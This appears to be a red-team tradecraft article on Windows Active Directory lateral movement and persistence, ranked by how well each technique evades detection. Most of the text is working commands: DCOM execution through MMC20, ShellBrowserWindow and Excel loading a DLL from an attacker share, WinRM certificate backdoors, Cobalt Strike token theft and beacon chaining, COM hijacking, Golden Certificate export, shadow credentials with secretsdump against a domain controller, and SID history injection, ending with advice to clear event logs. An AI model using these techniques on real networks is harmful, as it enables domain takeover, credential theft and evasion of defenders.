Lateral Movement and Persistence: The Tradecraft They Don't Teach

Lateral movement is where most red team operations die. You have credentials, you have access, and you move using PsExec. EDR flags it. IR team pivots. Operation over in 20 minutes.

The problem isn’t the tool. It’s the technique. Every lateral movement method has a detection signature. The goal is to pick the one that matches the environment’s blind spots.

Lateral Movement Tier List

From most to least detected:

Tier 4 (Instant detection):

• PsExec → creates a service, writes to ADMIN$, Event 7045
• sc.exe → same, more manual
• schtasks remote → Event 4698/4702

Tier 3 (Detected by good SOCs):

• WMI → Event 4648, WMI provider logs
• PowerShell Remoting → Event 4103/4104, ScriptBlock logging
• RDP → Event 4624 type 10, session broker logs

Tier 2 (Rarely detected):

• DCOM → no standard detection rules
• WinRM with certs → blends with legitimate management traffic
• SMB file write + DLL hijack → no explicit lateral movement event

Tier 1 (Almost never detected):

• Token manipulation → same session, no new logon
• Internal SMB beacon chaining → no external traffic
• Living-off-the-land COM objects → legitimate Windows components

DCOM Lateral Movement

DCOM (Distributed COM) allows instantiating COM objects on remote machines. Several COM objects have methods that execute commands.

MMC20.Application

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "<target>"))
$com.Document.ActiveView.ExecuteShellCommand("cmd.exe", $null, "/c <payload>", "7")

This creates a process on the target under the context of your authenticated user. No service creation, no scheduled task, no WMI provider event.

Detection: Event 4624 type 3 (network logon) + process creation from mmc.exe. Most SOCs don’t correlate these.

ShellBrowserWindow

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("ShellBrowserWindow", "<target>"))
$com.Document.Application.ShellExecute("cmd.exe", "/c <payload>", "C:\Windows\System32", $null, 0)

Process creation comes from explorer.exe. Even more legitimate-looking.

Excel.Application / Outlook.Application

If Office is installed on the target:

$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "<target>"))
$excel.RegisterXLL("\\attacker\share\payload.dll")

The DLL loads inside excel.exe. No cmd.exe spawned.

Impacket DCOM

dcomexec.py domain/user:pass@<target> -object MMC20
dcomexec.py domain/user:pass@<target> -object ShellBrowserWindow

WinRM with Certificate Authentication

Standard WinRM uses Kerberos or NTLM. Both create authentication events that SOCs monitor. WinRM with client certificate authentication uses TLS mutual auth instead.

Setup (requires admin on the target once)

# On target: enable cert auth
Set-Item WSMan:\localhost\Service\Auth\Certificate -Value $true

# Create client cert, map to a local user
$cert = New-SelfSignedCertificate -Subject "CN=RedTeam" -CertStoreLocation Cert:\LocalMachine\My
$cred = New-Object PSCredential("localadmin", (ConvertTo-SecureString "pass" -AsPlainText -Force))
New-Item -Path WSMan:\localhost\ClientCertificate -Subject "RedTeam" -URI * -Issuer $cert.Thumbprint -Credential $cred -Force

Usage (subsequent access)

$opts = New-PSSessionOption -SkipCACheck -SkipCNCheck
$session = New-PSSession -ComputerName <target> -CertificateThumbprint $cert.Thumbprint -SessionOption $opts
Invoke-Command -Session $session -ScriptBlock { whoami }

No NTLM/Kerberos auth event. The logon event shows certificate-based authentication, which blends with legitimate infrastructure management in environments that use cert-based WinRM for automation.

Token Manipulation

No network authentication needed. If you’re on a machine where a privileged user has a session, steal their token.

Token Impersonation

# Cobalt Strike
steal_token <pid>

# Manually (needs SeImpersonatePrivilege)
# List tokens
Incognito: list_tokens -u

# Impersonate
Incognito: impersonate_token "DOMAIN\admin"

After impersonation, all operations (SMB, LDAP, Kerberos) use the stolen token. No new logon event because you’re using an existing session.

Make Token

Create a new logon session with known credentials without touching the target machine:

# Cobalt Strike
make_token DOMAIN\admin P@ssw0rd

# From the operator's beacon, all subsequent actions use admin's context

This creates a type 9 (NewCredentials) logon locally. Remote operations use the supplied credentials. Local operations still use your original context.

Token Store (Cobalt Strike 4.8+)

Store multiple tokens and switch between them:

token-store steal <pid>
token-store steal <pid2>
token-store show
token-store use 0
# ... do operations as first identity ...
token-store use 1
# ... do operations as second identity ...

Internal Beacon Chaining

For moving through network segments without external C2 traffic per hop.

SMB Beacons

# Generate SMB payload
# Deploy to target via lateral movement technique
# Link back to parent beacon

link <target> \\.\pipe\msagent_ld

The SMB beacon communicates over named pipes to the parent beacon. Only the parent has external C2. The child produces zero external network traffic.

Chain them: External C2 ← Beacon A (DMZ) ← SMB Beacon B (Internal) ← SMB Beacon C (Server VLAN)

Three hops deep with only one external connection.

TCP Beacons

Same concept over TCP. Useful when SMB is filtered between segments:

connect <target> 4444

Persistence

Persistence must survive reboots, password changes, and ideally, partial remediation.

Registry Run Keys (Basic)

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Users\Public\update.exe"

Detected by: Autoruns, Sysmon Event 13, most EDRs. Use only on targets without EDR.

COM Hijacking (Intermediate)

Many applications load COM objects by CLSID. If you can find a CLSID that’s loaded by a legitimate process but points to a missing DLL, you can hijack it:

# Find hijackable CLSIDs (look for missing InprocServer32 paths)
# Set your DLL as the InprocServer32

reg add "HKCU\Software\Classes\CLSID\{<target_clsid>}\InprocServer32" /ve /t REG_SZ /d "C:\Users\Public\legit.dll"
reg add "HKCU\Software\Classes\CLSID\{<target_clsid>}\InprocServer32" /v "ThreadingModel" /t REG_SZ /d "Both"

Your DLL loads every time the host application starts. It runs inside a legitimate process. No suspicious parent-child relationship.

Machine Account Persistence (Advanced)

Create a machine account in AD (default quota: 10 per user):

addcomputer.py -method ldaps -computer-name 'PERSIST$' -computer-pass 'LongP@ss!' domain/user:pass

Then configure it for RBCD or constrained delegation to a valuable target. The machine account persists across password reset campaigns because:

• It’s not linked to any user account
• It doesn’t appear in standard “dormant account” audits
• Its password is set by you, not by AD

Golden Certificate (ADCS Persistence)

If you’ve compromised the CA:

certipy ca -backup -ca CORP-CA -u admin@domain.local -p pass

This exports the CA’s private key and certificate. With those, you can issue certificates for any user at any time, from anywhere. Unlike Golden Tickets (which require krbtgt rotation for invalidation), Golden Certificates persist until the CA certificate is revoked and reissued, which typically means rebuilding the entire PKI. Most organizations have never done this.

Shadow Credentials (Persistence Variant)

Add a key to a machine account’s msDS-KeyCredentialLink. The key persists across password rotations because it’s a separate authentication mechanism:

pywhisker -d domain.local -u admin -p pass --target 'DC01$' --action add --dc-ip 10.10.10.1

Store the PFX securely. Months later:

certipy auth -pfx DC01.pfx -dc-ip 10.10.10.1 -username 'DC01$' -domain domain.local
secretsdump.py -hashes :<hash> domain.local/'DC01$'@10.10.10.1

SID History Injection

Add a privileged SID (Enterprise Admin, Domain Admin) to a regular user’s sIDHistory attribute:

# Requires domain admin + Mimikatz on DC
lsadump::dcshadow /object:regularuser /attribute:sIDHistory /value:S-1-5-21-...-519

The user authenticates normally. The PAC includes the injected SID. Access control checks grant Enterprise Admin rights. The user object itself shows no group membership changes in standard AD queries.

Operational Flow

The full cycle in a mature engagement:

1. Initial access → short-haul C2
2. Local privesc → dump creds
3. Internal recon → BloodHound, identify paths
4. Lateral movement via DCOM or token theft → establish foothold on target
5. Deploy long-haul beacon on persistent host
6. Set persistence → Golden Certificate + Shadow Credentials + machine account
7. Cover tracks → clear relevant event logs, remove short-haul infrastructure
8. Operate → use long-haul for data staging, activate interactive sessions only when needed

Three separate persistence mechanisms ensure that if one is found and remediated, the other two provide re-entry. This is what “assumed breach” operations actually look like.